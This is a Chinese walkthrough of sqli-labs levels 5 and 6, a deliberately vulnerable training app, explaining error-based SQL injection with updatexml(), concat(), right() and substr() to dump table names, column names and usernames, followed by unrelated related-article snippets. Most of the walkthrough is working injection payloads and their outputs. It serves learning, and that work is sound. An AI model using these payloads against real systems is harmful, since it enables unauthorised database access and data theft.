sqli-labs 5~6 多命通关攻略

news2024/11/22 22:24:06

sqli-labs 5~6 多命通关攻略

  • 描述
  • 判断注入类型
      • 正常输入
      • 不正常输入
      • 错误输入
  • 判断 SQL 查询结果的列数
      • 猜测 SQL 查询结果中的列数为两列
      • 猜测 SQL 查询结果中的列数为三列
      • 猜测 SQL 查询结果中的列数为四列
  • 爆破方式的可行性
  • 函数 UpdateXML()
  • 爆破(报错注入)
      • 爆破表名
      • 爆破列名
          • 报错信息显示不全
          • right() 函数
          • 计算回显区域可显示的最大字符数量
          • 使用 right() 函数
          • 偏移量
            • 第一次偏移
            • 验证
            • 翻车总结
          • 第一次偏移(修正版)
          • 第二次偏移
          • 第三次偏移
      • 整合
      • 总结
      • 爆破字段
          • 第一次偏移
          • 原因分析
          • 第一次偏移(修正版)
          • 第二次偏移
          • 第三次偏移
          • 第四次偏移
      • 整合
  • 第六关
      • 注入类型

描述

项目描述
操作系统Windows 10 专业版
MySQL 版本5.7.40
Apache 版本2.4.39

判断注入类型

正常输入

观察 Users 表的数据,可知 id 的正常输入的范围应为 1~13、14。

id 的正常输入范围

构造如下语句,观察页面返回的内容:

?id=1

返回结果为:

You are in…

不正常输入

构造如下语句,观察返回结果

?id=1000

显示为空

可以看到,使用上述语句后,页面回显区域没有显示任何内容。

错误输入

构造如下语句,观察返回结果:

?id='

返回结果为:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’‘’ LIMIT 0,1’ at line 1

由返回结果我们也可以判断该关卡的 SQL 注入类型应该为 单引号字符型注入

判断 SQL 查询结果的列数

猜测 SQL 查询结果中的列数为两列

?id=1' order by 2--+

返回结果:

You are in…

猜测 SQL 查询结果中的列数为三列

?id=1' order by 3--+

返回结果:

You are in…

猜测 SQL 查询结果中的列数为四列

?id=1' order by 4--+

返回结果为:

Unknown column ‘4’ in ‘order clause’

这说明 SQL 查询返回结果的列数为三列。

爆破方式的可行性

该题可使用的爆破方式有:

  1. 布尔盲注
  2. 时间盲注
  3. 报错注入

本题我们将采用 报错注入 的方式来进行爆破。

函数 UpdateXML()


UpdateXML(xml_target, xpath_expr, new_xml)

此函数替换给定片段的部分 XML 标记 xml_target 与新的 XML 片段new_xml,然后 返回更改的 XML。替换的xml_target部分匹配 XPath 表达式xpath_expr 由用户提供。

上述内容整理自 MySQL 官网


简单来说,UpdateXML() 函数的功能是通过 XPath 来匹配 XML 片段并使用用户提供的内容对其进行替换。

这个函数之所以可以被用于报错注入,原因如下:
当函数 UpdateXML() 的参数 xpath_expr 不符合 XPath 语法规范时,将抛出错误,且 xpath_expr 的内容将被包含在报错信息中。
如果 xpath_expr 是一个可被成功执行的 SQL 语句,则报错信息将包含该 SQL 语句执行的结果。所以我们可以利用这个参数来达到爆破数据库的目的。

爆破(报错注入)

爆破表名

可通过构造如下语句对 security 数据库中的表名进行爆破:

?id=' union select 1,2,updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1)--+

返回结果为:

XPATH syntax error: ‘~emails,referers,uagents,users~’

其中:

  1. MySQL CONCAT()函数需要一个或多个字符串参数,并将它们连接成一个字符串。CONCAT()函数需要至少一个参数,否则会引起错误。
  2. 0x7e 对应的 ASCII 字符为 ~,这里我们使用该字符与 SQL 查询结果进行拼接来破坏 XPath 的正常语法,从而达到报错注入的目的。
    当然并不是所有的报错注入都需要通过 concat() 函数来破坏 XPath 的正常语法,比如下面这个语句即使不使用 concat() 函数也可以实现报错注入:
?id=' union select 1,2,updatexml(1, (select group_concat(column_name) from information_schema.columns where table_name='users'), 1)--+

而有些函数就需要 concat() 函数的帮助:

?id=' union select 1,2,updatexml(1, (select database()), 1)--+

你可以将它修改为如下形式来达到报错注入的目的:

?id=' union select 1,2,updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--+

爆破列名

报错信息显示不全

可通过如下语句对 users 表中的列名进行爆破:

?id=' union select 1,2,updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 1)--+

返回结果:

XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_’

注:
返回结果最右边的两个字符并不是 ~',要知道我们可是用 concat() 函数在 SQL 查询结果的两旁拼接了字符 ~,这表明网页在设计过程中限制了回显区域的显示长度,导致报错信息显示不全。

right() 函数

你可以使用 right() 函数从目标字符串中截取指定数量的字符。right() 函数接受两个参数,第一个参数为 目标字符串,第二个参数为 需要截取字符的数量。该函数将从目标字符串的右部分开始截取,与该函数功能类似的函数还有 left()。

计算回显区域可显示的最大字符数量

字符串长度计算
通过 字符串长度在线计算工具 的计算结果,我们明白了回显区域显示的最大字符串长度为 32因此我们可以将 right() 函数的第二个参数设置为 32

使用 right() 函数

接下来,让我们通过 right() 函数将另一部分显示出来:

?id=' union select 1,2,right(updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 1), 32)--+

返回结果:

XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_’

返回结果似乎并没有发生任何变化,问题出在 right() 函数吗?
不,问题出在 UpdateXML()。原因在于:

right() 函数需要发挥作用就需要等待 updatexml() 函数执行完毕,但 updatexml() 在遇到我们故意出错的 XPath 表达式后,将抛出错误,并不会执行外层的 right() 函数。

让我们再次修改语句,使其显示报错信息的右部

?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 32), 1)--+

返回结果:

XPATH syntax error: ‘,id,username,password~’

偏移量

我们可以通过增加 right() 函数的第二个参数来观察报错信息的中间部分,但该增加多少呢?
我们刚刚对回显区域可显示的最大字符数量的统计此时又可以派上用场了,我们可以每次将 right() 函数的第二个参数增加 32 来观察其他部分的报错信息,直到看到位于最左端的字符 ~

第一次偏移
?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 64), 1)--+

返回结果为:

XPATH syntax error: ‘,CURRENT_CONNECTIONS,TOTAL_CONNE’

验证

让我们来验证一下,偏移量设置为回显区域显示的最大字符长度这个结论是否正确。

将偏移量减小为 48,构造语句如下:

?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 48), 1)--+

返回结果:

XPATH syntax error: ‘,TOTAL_CONNECTIONS,id,username,p’

可以发现,这个结论出错了。

翻车总结

在 right() 函数无法精确对回显区域的显示内容进行精确的偏移后,我尝试了 substr()、mid()、substring() 等截取函数,发现都无法做到精确偏移的效果。
退而求其次,我们可以将偏移量减小为回显区域可显示的最大字符长度的一半。在这个例子中,我们可以将 right() 函数的第二个参数由原来的 32 减小为 16。

第一次偏移(修正版)

构造语句如下:

?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 48), 1)--+

返回结果:

XPATH syntax error: ‘,TOTAL_CONNECTIONS,id,username,p’

第二次偏移

构造语句如下:

?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 64), 1)--+

返回结果:

XPATH syntax error: ‘,CURRENT_CONNECTIONS,TOTAL_CONNE’

第三次偏移

构造语句如下:

?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 80), 1)--+

返回结果:

XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_’

在看到最左端的字符 ~,也就说明我们的偏移工作已经完成了。

整合

对前面所获得的数据进行整合,我们可以获取到完整的错误信息:

XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password~’

总结

观察上面多次的偏移结果,我们可以发现我们为 right() 函数设置的第二个参数并不总是如我们所愿的原因是 符号问题,不信你看:

  1. right() 函数的第二个参数为 32 时的返回结果。
    第一份证据
  2. right() 函数的第二个参数为 64 时的返回结果。
    第二份证据
  3. right() 函数的第二个参数为 48 时的返回结果。

第三份证据
4. right() 函数的第二个参数为 80 时的返回结果。

第四份返回结果

各位发现了吗,报错信息中的第一个字符总是 ,;,至于原因暂不了解,如果你知道,恳请告诉我。

爆破字段

这里我们将通过报错注入爆破 数据库 security 下的表 users 中的字段 username 及 password

我们将构造如下语句爆破字段 username

?id=' union select 1,2,updatexml(1, concat(0x7e, (select group_concat(username) from users), 0x7e), 1)--+

返回结果:

XPATH syntax error: ‘~Dumb,Angelina,Dummy,secure,stup’

返回结果显示不全,这次我们使用 left() 函数来进行字符串的截取,也推荐更多的使用 left() 函数而不是 right() 函数,因为在这类情况中,我们发现这个问题时往往已经看到了最左边的内容,使用 left() 函数可以减少截取的次数。

第一次偏移
?id=' union select 1,2,updatexml(1, left(concat(0x7e, (select group_concat(username) from users), 0x7e), 48), 1)--+

返回结果:

XPATH syntax error: ‘~Dumb,Angelina,Dummy,secure,stup’

怎么没有发生变化,即使将其 left() 函数的第二个参数改为 1000 也不会有任何变化。

原因分析

理想是美好的但现实是残酷的。细想过后,我们忽略了这么一个现实:
回显区域中显示的报错信息在长度不够时,将显示报错信息的前一部分内容,而 left() 函数是从左往右截取指定数量的字符,因此前面的操作并没有成功。
明白原理后,我们可以通过使用 right() 函数进行偏移,也可以使用 substr()、substring()、mid() 等函数。right() 函数是从右往左开始截取指定数量的字符,而 substr() 等函数则可以指定开始截取的位置(从 1 开始计数)以及截取字符的数量,因此这些函数都可以达到从左往右开始截取以减少截取次数的目的。

接下来,我将使用 substr() 函数作为示范,mid() 及 substring() 函数的功能及参数设置与 substr() 相同,再看完接下来的内容后你可以尝试使用另外两个函数攻破本关。

第一次偏移(修正版)

由于使用了另一类(参数个数及参数含义均不同)字符串截取函数,我们需要思考如何设置 substr() 的参数来保证不会遗漏的同时可以减少截取的次数。
这里我们将第二个参数(开始截取的位置,从 1 开始)设置为 16(回显区域报错信息所能显示的最大字符数的一半),并在以后每次都对该参数的值增加 16;第二个参数我们设置为 32,因为回显区域报错信息所能显示的最大字符数为 32

?id=' union select 1,2,updatexml(1, substr(concat(0x7e, (select group_concat(username) from users), 0x7e), 16, 32), 1)--+

返回结果:

XPATH syntax error: ‘,secure,stupid,superman,bat’

第二次偏移
?id=' union select 1,2,updatexml(1, substr(concat(0x7e, (select group_concat(username) from users), 0x7e), 32, 32), 1)--+

返回结果:

XPATH syntax error: ‘,superman,batman,admin,admin1’

第三次偏移
?id=' union select 1,2,updatexml(1, substr(concat(0x7e, (select group_concat(username) from users), 0x7e), 48, 32), 1)--+

返回结果:

XPATH syntax error: ‘,admin,admin1,admin2,admin3,d’

第四次偏移
?id=' union select 1,2,updatexml(1, substr(concat(0x7e, (select group_concat(username) from users), 0x7e), 64, 32), 1)--+

返回结果:

XPATH syntax error: ‘,admin2,admin3,dhakkan,admin4~’

好了,到这里我们已经将所有的报错信息显示出来了,接下来让我们对这些内容进行整合。

整合

将前面截取到的部分报错信息整合后的结果如下:

XPATH syntax error: ‘~Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4~’

好了本关卡到这里就结束了。等等,你是想告诉我,我还没有爆破 password 字段吗?
原理和爆破 username 字段相同,爆破 password 字段的任务就交给勤劳的各位了。

第六关

上面的内容均是第五关的讲解,第六关与第五关绝大多数内容都类似,这里我将讲解它们之间的不同内容。

注入类型

第六关与第五关的区别在于注入类型的不同,让我们通过构造语句来进行验证:

?id='

返回结果为空
可以观察到回显区域中未显示任何内容,说明第六关并不与第五关相同,并不都是单引号字符型注入。

让我们再构造如下语句:

?id="

返回结果为:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“”" LIMIT 0,1’ at line 1

从返回结果可以判断出该关卡的注入类型应为双引号字符型注入。

在其它方面该关卡与第五关无异,请持着一颗热爱探索的心继续前进吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/144661.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

农业智能化进入“刚需时代 ” ,维视智造机器视觉实验室赋能新农科人才培养

1、传统农业数字化转型 新农科人才急需紧缺数千年来,农业是我国立国基础,农业兴衰关系到国家的命运。在大力推动乡村振兴的背景下,高校作为强农兴农的“国之重器”,在培育“农”的传人、新农科建设方面扮演着不可替代的角色。世界…

C++入门——内联函数、extern “C“

一. 内联函数 1.概念及分析 以inline修饰的函数叫做内联函数,编译时C编译器会在调用内联函数的地方展开,没有函数调 用建立栈帧的开销,内联函数提升程序运行的效率。 int Add(int a, int b) {int c a b;return c; }int main() {int re…

聚焦技术创新实力,时序数据库 TDengine 荣登中国技术先锋年度评选两大榜单

2023 年 1 月 5 日,中国技术先锋年度评选 | 2022 中国最受开发者欢迎的技术活动榜单正式发布。作为中国领先的新一代开发者社区,SegmentFault 思否依托社区活动板块及全站数百万开发者用户行为数据,及活动规模、内容好评度、行业综合影响力指…

Go语言设计与实现 --调度器(详细介绍)

GMP和GM模型 先来一张图: G(Goroutine):代表Go 协程Goroutine,存储了 Goroutine 的执行栈信息、Goroutine 状态以及 Goroutine 的任务函数等。G的数量无限制,理论上只受内存的影响,创建一个 G 的初始栈大小为2-4K&…

vue项目安装使用element_UI

安装element_UI之前需要安装VUE脚手架框架! 第一步: 在Vscode 随意打开一个文件夹,在集成终端打开 npm i -g vue/cli (检测: vue -V) 第二步:新建一个文件夹,并且在集成终端打开安装VUE脚手架 需要输入命令: vue create yan6 //yan6 为自定义文件名 1: 选第三个自定义 2: 将…

SpringBoot缓存数据(官方案例)

在线文档项目结构 1.源码克隆:git clone https://github.com/spring-guides/gs-caching.git 2.包含两个项目initial和complete,initial可以根据文档练习完善,complete是完整项目 3.功能描述:构建应用程序,在图书存储库…

JAVA并发编程工具篇--1理解线程池任务的执行和线程的销毁

前言:在编程中我们为什么要使用线程池,线程池中的线程是怎么执行任务的,线程池中的线程是如何复用和销毁的; 1 什么是线程池: 提前创建一些线程放到一个地方,使用的时候直接获取,避免频繁的创建…

CalDAV网页客户端AgenDAV

什么是 AgenDAV ? AgenDAV 是一个类似于 Google 日历的 CalDAV 网络客户端,具有 AJAX 界面,允许用户管理自己的日历和共享的日历。 注意事项 AgenDAV依赖于 CalDAV 服务器(Bakal、DAViCal 等),所以需要先安…

软件测试员在面试中常遇问题

目前,疫情已经逐渐得到了控制,各行各业都掀起了复工大潮。与此同时,软件测试的招聘需求也随着复工的开始而变得紧急起来,而求职者应该怎样抓住机会进行应聘呢?首先最重要的就是多刷面试题,这样才能才面试过…

CSS权威指南(五)字体

文章目录1.字体族2.font-face3.字重(font-weight)4.字号(font-size)5.字形(font-style)6.字体拉伸(font-stretch)7.字距(font-kerning)8.字体变形&#xff08…

Python 办公自动化,全网最全整理来了!拒绝无效率加班!

大家好,今天给大家分享一篇 Python 自动化办公干货,整整42个实战项目案例。每一个项目案例都有详细的视频讲解,是一套非常全面的Python自动化办公项目,建议大家收藏后学习,梳理不易,记得点赞支持。详细目录…

【菜菜的CV进阶之路 - 深度学习环境搭建】常用软件安装

四、安装网易云 双系统装完了,下一步当然是,休息一下,听一首歌啦~ 1、连网:只能使用wifi连,网线直连的话,还需要配置 2、安装网易云: 下载最新的Linux安装包,然后 sudo apt inst…

数据的存储(C语言)

数据类型: 要了解数据是如何存储的,我们就得先知道C语言中的数据类型 基本数据类型 基本数据类型,也就是C语言内置类型: char -> 字符型 short -> 短整型 int -> 整…

html textarea 插入字符在光标处

textarea 插入字符在光标处前言深度解析1 效果图上代码前言 深度解析 1 效果图 上代码 <!DOCUMENT><html><head> <link rel"stylesheet" href"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css&qu…

Semantic Segmentation | 评价指标代码解析

如有错误&#xff0c;恳请指出。 文章目录1. 定义解析2. 代码解析之前有记录过关于图像语义分割的相关评价指标与经典网络&#xff0c;在看PointNet的语义分割训练脚本的时候&#xff0c;图像的语义分割和点云的语义分割其实本质上是一致的。所以这里想记录一下语义分割的评价指…

MySQL下载及使用navicat连接mysql数据库(含下载地址、超具体细节、推荐数据库教程)

目录下载地址安装流程第一步&#xff1a;开始安装第二步&#xff1a;类型选择第三步&#xff1a;developer default第四步&#xff1a;execute第五步&#xff1a;服务器配置窗口第六步&#xff1a;网络类型配置窗口第七步&#xff1a;第八步&#xff1a;服务器密码设置窗口第九…

Vue全家桶 Pinia状态管理

Pinia状态管理1. Pinia和Vuex的对比2. 创建Pinia的Store3. Store 简介与使用4. Pinia核心概念State5. Pinia核心概念Getters6. Pinia核心概念ActionsPinia开始于大概2019年&#xff0c;最初是作为一个实验为Vue重新设计状态管理&#xff0c;让它用起来像组合式API&#xff0c;从…

[C语言]初步的来了解一下指针(多图详解)

目录 1.指针是什么 2.指针类型 2.1指针类型的意义(-整数) 2.2指针的解引用 3.野指针 3.1野指针出现的情况 3.2 如何规避野指针 4.指针运算 4.1指针-整数 4.2指针-(减)指针 5.二级指针 1.指针是什么 指针是内存中最小的单元编号&#xff0c;也就是地址。指针还可以是一种…

录屏软件电脑版免费哪个好?4款免费屏幕录制软件下载

在电脑上经常能使用的录屏功能&#xff1a;录制软件的操作过程、精彩的游戏瞬间、经典的影视故事、网络教学等。许多人都在问&#xff0c;录屏软件电脑版哪个好&#xff1f;Windows平台上有很多录屏软件&#xff0c;如果对录屏需求不高的朋友&#xff0c;可以通过内置的视频软件…

08线性回归+基础优化算法

P2基础优化算法 1.最常见的优化算法——梯度下降&#xff0c;用在模型没有显示解的情况下&#xff08;线性回归有显示解&#xff0c;但是现实中很少有这样理想的情况&#xff09; 2.梯度下降的实现方法&#xff1a;沿着反梯度更新方向参数求解 解释&#xff1a; 超参数&#x…